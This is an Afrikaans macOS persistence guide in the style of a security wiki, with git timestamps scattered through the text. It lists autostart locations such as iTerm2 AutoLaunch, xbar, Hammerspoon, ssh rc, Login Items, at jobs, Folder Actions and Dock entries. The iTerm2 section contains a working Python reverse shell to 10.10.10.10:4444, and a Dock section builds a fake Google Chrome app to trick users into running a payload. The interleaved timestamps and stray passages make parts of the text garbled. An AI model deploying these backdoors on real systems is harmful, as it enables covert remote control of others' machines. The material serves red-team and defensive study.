2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
Skripte wat gestoor word in ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch` ** sal uitgevoer word. Byvoorbeeld:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-03-17 16:40:53 +00:00
### macOS Automatiese Beginplekke
2024-02-11 02:07:06 +00:00
2024-03-17 16:40:53 +00:00
Hier is 'n lys van plekke waar programme kan begin as 'n gebruiker inlog op 'n macOS-stelsel:
2024-02-11 02:07:06 +00:00
2024-03-17 16:40:53 +00:00
1. ** /Library/LaunchAgents/**
2. ** /Library/LaunchDaemons/**
3. ** /Library/StartupItems/**
4. ** /System/Library/LaunchAgents/**
5. ** /System/Library/LaunchDaemons/**
6. ** /System/Library/StartupItems/**
7. ** ~/Library/LaunchAgents/**
2024-02-11 02:07:06 +00:00
2024-03-17 16:40:53 +00:00
Dit is belangrik om hierdie plekke te monitor en te verseker dat slegs goedgekeurde programme daar begin.
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-11 02:07:06 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-02-11 02:07:06 +00:00
Die skrip ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** sal ook uitgevoer word:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-02-13 00:50:43 +00:00
Die iTerm2-voorkeure geleë in ** `~/Library/Preferences/com.googlecode.iterm2.plist` ** kan ** 'n bevel aandui om uit te voer** wanneer die iTerm2-terminal oopgemaak word.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Hierdie instelling kan in die iTerm2-instellings gekonfigureer word:
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
En die bevel word weerspieël in die voorkeure:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-11 02:07:06 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-02-11 02:07:06 +00:00
Jy kan die bevel instel om uit te voer met:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-03-17 16:40:53 +00:00
Dit is hoogs waarskynlik dat daar **ander maniere is om die iTerm2-voorkeure te misbruik** om willekeurige bevele uit te voer.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
* Maar xbar moet geïnstalleer wees
2024-02-11 02:07:06 +00:00
* TCC-omseiling: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:43 +00:00
* Dit vra om Toeganklikheidsregte
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-02-13 00:50:43 +00:00
* **Trigger**: Eenmaal xbar uitgevoer word
2023-12-29 13:55:22 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing
2023-12-29 13:55:22 +00:00
2024-03-17 16:40:53 +00:00
As die gewilde program [**xbar** ](https://github.com/matryer/xbar ) geïnstalleer is, is dit moontlik om 'n skulpskrip te skryf in ** `~/Library/Application\ Support/xbar/plugins/` ** wat uitgevoer sal word wanneer xbar begin word:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-02-13 00:50:43 +00:00
**Bespreking**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
* Maar Hammerspoon moet geïnstalleer wees
* TCC omseiling: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* Dit vra om Toeganklikheidsregte
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Plek
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-02-23 16:45:55 +00:00
* **Trigger**: Wanneer Hammerspoon uitgevoer word
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ) dien as 'n outomatiseringsplatform vir **macOS** , wat die **LUA-skripsingstaal** benut vir sy werksaamhede. Dit ondersteun veral die integrasie van volledige AppleScript-kode en die uitvoering van skulpskripte, wat sy skripskundigheid aansienlik verbeter.
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
Die toepassing soek na 'n enkele lêer, `~/.hammerspoon/init.lua` , en wanneer dit begin word, sal die skrip uitgevoer word.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2024-02-13 00:50:43 +00:00
### BetterTouchTool
2024-03-17 16:40:53 +00:00
* Nuttig om sanderblok te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:43 +00:00
* Maar BetterTouchTool moet geïnstalleer wees
* TCC omseiling: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:40:53 +00:00
* Dit vra vir Automatisering-Kortpaaie en Toeganklikheidsregte
2024-02-13 00:50:43 +00:00
#### Ligging
* `~/Library/Application Support/BetterTouchTool/*`
2024-03-17 16:40:53 +00:00
Hierdie instrument maak dit moontlik om aansoeke of skripte aan te dui om uit te voer wanneer sekere kortpaaie gedruk word. 'n Aanvaller kan sy eie **kortpad en aksie om in die databasis uit te voer** configureer om dit arbitêre kode uit te voer ( 'n kortpad kan net wees om 'n sleutel te druk).
2024-02-13 00:50:43 +00:00
### Alfred
2024-03-17 16:40:53 +00:00
* Nuttig om sanderblok te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:43 +00:00
* Maar Alfred moet geïnstalleer wees
* TCC omseiling: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:40:53 +00:00
* Dit vra vir Automatisering, Toeganklikheid en selfs Volle-Skyf-toegangregte
2024-02-13 00:50:43 +00:00
#### Ligging
* `???`
2024-03-17 16:40:53 +00:00
Dit maak dit moontlik om werksvloei te skep wat kode kan uitvoer wanneer sekere voorwaardes bereik word. Potensieel is dit moontlik vir 'n aanvaller om 'n werksvloei-lêer te skep en Alfred te maak om dit te laai (dit is nodig om die premie weergawe te betaal om werksvloeie te gebruik).
2024-02-13 00:50:43 +00:00
2023-09-28 15:09:34 +00:00
### SSHRC
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2024-03-17 16:40:53 +00:00
* Nuttig om sanderblok te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* Maar ssh moet geaktiveer en gebruik word
* TCC omseiling: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-23 16:45:55 +00:00
* SSH gebruik om FDA-toegang te hê
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Aanteken via ssh
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-03-17 16:40:53 +00:00
* Wortel benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Aanteken via ssh
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-03-17 16:40:53 +00:00
Om ssh aan te skakel, is Volle Skyf-toegang benodig:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-12-29 13:55:22 +00:00
2024-03-17 16:40:53 +00:00
Standaard, tensy `PermitUserRC no` in `/etc/ssh/sshd_config` , wanneer 'n gebruiker **inlog via SSH** sal die skripte ** `/etc/ssh/sshrc` ** en ** `~/.ssh/rc` ** uitgevoer word.
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
### **Aanteken Items**
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
* Maar jy moet `osascript` met argumente uitvoer
2024-02-11 02:07:06 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
#### Plekke
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-03-17 16:40:53 +00:00
* **Trigger:** Aanteken
2024-02-11 02:07:06 +00:00
* Uitbuitingslading gestoor deur ** `osascript` ** te roep
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-03-17 16:40:53 +00:00
* **Trigger:** Aanteken
2024-02-13 00:50:43 +00:00
* Wortel vereis
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
In Sisteemvoorkeure -> Gebruikers & Groepe -> **Aanteken Items** kan jy **items vind wat uitgevoer moet word wanneer die gebruiker aanteken** .\
2024-02-11 02:07:06 +00:00
Dit is moontlik om hulle te lys, by te voeg en te verwyder vanaf die opdraglyn:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-11 02:07:06 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-11 02:07:06 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-02-11 02:07:06 +00:00
Hierdie items word gestoor in die lêer ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` **
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
**Aanmeldingsitems** kan ook aangedui word deur die API [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) te gebruik wat die konfigurasie in ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` ** sal stoor
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
### ZIP as Aanmeldingsitem
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
(Kyk na die vorige afdeling oor Aanmeldingsitems, dit is 'n uitbreiding)
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
As jy 'n **ZIP** -lêer as 'n **Aanmeldingsitem** stoor, sal die ** `Archive Utility` ** dit oopmaak en as die zip byvoorbeeld gestoor was in ** `~/Library` ** en die Gids ** `LaunchAgents/file.plist` ** met 'n agterdeur bevat het, sal daardie gids geskep word (dit is nie standaard nie) en die plist sal bygevoeg word sodat die volgende keer as die gebruiker weer aanmeld, die **agterdeur wat in die plist aangedui word, uitgevoer sal word** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
'n Ander opsie sou wees om die lêers ** `.bash_profile` ** en ** `.zshenv` ** binne die gebruiker se TUIS te skep sodat as die gids LaunchAgents reeds bestaan, sal hierdie tegniek steeds werk.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
### By
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Beskrywing: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
* Nuttig om sandput te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* Maar jy moet ** `at` ** **uitvoer** en dit moet **geaktiveer** wees
2024-03-17 16:40:53 +00:00
* TCC-omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-12-30 00:49:26 +00:00
2024-02-13 00:50:43 +00:00
#### Plek
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
* Moet ** `at` ** **uitvoer** en dit moet **geaktiveer** wees
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### **Beskrywing**
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
`at` take is ontwerp vir **skedulering van eenmalige take** om uitgevoer te word op sekere tye. Anders as cron take, word `at` take outomaties verwyder na uitvoering. Dit is noodsaaklik om te let dat hierdie take volhoubaar is oor stelselherlaaiers, wat hulle potensiële veiligheidskwessies onder sekere omstandighede maak.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Standaard is hulle **uitgeschakel** maar die **root** -gebruiker kan **hulle aktiveer** met:
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-02-13 00:50:43 +00:00
Dit sal 'n lêer skep binne 1 uur:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-02-13 00:50:43 +00:00
Kontroleer die werksopdrag ry met behulp van `atq:`
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-03-17 16:40:53 +00:00
Bokant kan ons twee geskeduleerde take sien. Ons kan die besonderhede van die taak afdruk deur `at -c JOBNUMMER` te gebruik.
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-11 02:07:06 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
As AT-take nie geaktiveer is nie, sal die geskepte take nie uitgevoer word nie.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
Die **werk lêers** kan gevind word by `/private/var/at/jobs/`
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-02-13 00:50:43 +00:00
Die lêernaam bevat die tou, die taaknommer, en die tyd wanneer dit geskeduleer is om uit te voer. Byvoorbeeld, laat ons na `a0001a019bdcd2` kyk.
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
* `a` - dit is die tou
2024-02-13 00:50:43 +00:00
* `0001a` - taaknommer in heksadesimaal, `0x1a = 26`
* `019bdcd2` - tyd in heksadesimaal. Dit verteenwoordig die minute wat verloop het sedert die epog. `0x019bdcd2` is `26991826` in desimaal. As ons dit met 60 vermenigvuldig, kry ons `1619509560` , wat `GMT: 2021. April 27., Dinsdag 7:46:00` is.
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
As ons die taaklêer druk, vind ons dat dit dieselfde inligting bevat as wat ons met `at -c` gekry het.
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
### Voueraksies
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Bespreking: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Bespreking: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
* Nuttig om sandput te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:43 +00:00
* Maar jy moet in staat wees om `osascript` met argumente te roep om ** `System Events` ** te kontak om Voueraksies te kan konfigureer
* TCC omseiling: [🟠 ](https://emojipedia.org/large-orange-circle )
* Dit het basiese TCC-toestemmings soos Skermblad, Dokumente en Aflaaibare lêers
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-02-23 16:45:55 +00:00
* Wortel vereis
2024-02-11 02:07:06 +00:00
* **Trigger**: Toegang tot die gespesifiseerde vouer
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Toegang tot die gespesifiseerde vouer
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-02-23 16:45:55 +00:00
Voueraksies is skripte wat outomaties geaktiveer word deur veranderinge in 'n vouer soos die byvoeging, verwydering van items, of ander aksies soos die oopmaak of herskaal van die vouer-venster. Hierdie aksies kan gebruik word vir verskeie take, en kan op verskillende maniere geaktiveer word soos deur die Finder UI of terminalopdragte.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Om Voueraksies op te stel, het jy opsies soos:
2023-09-28 15:09:34 +00:00
2024-02-23 16:45:55 +00:00
1. Die skep van 'n Voueraksie-werkvloei met [Automator ](https://support.apple.com/guide/automator/welcome/mac ) en dit installeer as 'n diens.
2024-03-17 16:40:53 +00:00
2. 'n Skrip handmatig aanheg deur die Voueraksies-opstelling in die konteksmenu van 'n vouer.
2024-02-23 16:45:55 +00:00
3. Die gebruik van OSAScript om Apple Event-boodskappe na die `System Events.app` te stuur vir die programmatiese opstel van 'n Voueraksie.
2024-02-13 00:50:43 +00:00
* Hierdie metode is veral nuttig om die aksie in die stelsel in te bed, wat 'n vlak van volharding bied.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Die volgende skrip is 'n voorbeeld van wat deur 'n Voueraksie uitgevoer kan word:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-03-17 16:40:53 +00:00
Om die bogenoemde skrips bruikbaar te maak deur Maphandeling, kompileer dit met:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-03-17 16:40:53 +00:00
Na die skrip is saamgestel, stel Folder-aksies op deur die onderstaande skrip uit te voer. Hierdie skrip sal Folder-aksies wêreldwyd aktiveer en spesifiek die vroeër saamgestelde skrip aan die Skermblad-knipsel koppel.
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-02-11 02:07:06 +00:00
Voer die opstellingskrip uit met:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-03-17 16:40:53 +00:00
* Hierdie is die manier om volharding te implementeer via GUI:
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Hierdie is die skrip wat uitgevoer sal word:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-03-17 16:40:53 +00:00
Kompilieer dit met: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
Skuif dit na:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-03-17 16:40:53 +00:00
Dan, open die `Folder Actions Setup` -toep, kies die **gids wat jy wil dophou** en kies in jou geval ** `folder.scpt` ** (in my geval het ek dit output2.scp genoem):
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Nou, as jy daardie gids met **Finder** oopmaak, sal jou skripsie uitgevoer word.
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
Hierdie konfigurasie is gestoor in die **plist** wat in ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** in base64-formaat geleë is.
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
Nou, laat ons probeer om hierdie volharding sonder GUI-toegang voor te berei:
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
1. **Kopieer `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** na `/tmp` om dit te rugsteun:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-03-17 16:40:53 +00:00
2. **Verwyder** die Gidsaksies wat jy net ingestel het:
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
Nou dat ons 'n leë omgewing het
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
3. Kopieer die rugsteunlêer: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
2024-03-17 16:40:53 +00:00
4. Maak die Folder Actions Setup-toep oop om hierdie konfigurasie te gebruik: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-02-13 00:50:43 +00:00
En dit het nie vir my gewerk nie, maar dit is die instruksies van die skrywe:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-23 16:45:55 +00:00
### Dock-aanwysers
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Skrywe: [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:40:53 +00:00
* Maar jy moet 'n skadelike toepassing binne die stelsel geïnstalleer hê
2024-02-11 02:07:06 +00:00
* TCC-omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-03-17 16:40:53 +00:00
* **Trigger**: Wanneer die gebruiker op die toep kliek binne die aanwysers
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Al die toepassings wat in die Dock verskyn, word gespesifiseer binne die plist: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Dit is moontlik om ** 'n toepassing by te voeg** net met:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-03-17 16:40:53 +00:00
Deur van **sosiale ingenieurswese** gebruik te maak, kan jy byvoorbeeld **Google Chrome naboots in die dok en jou eie skrip uitvoer:**
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:07:06 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
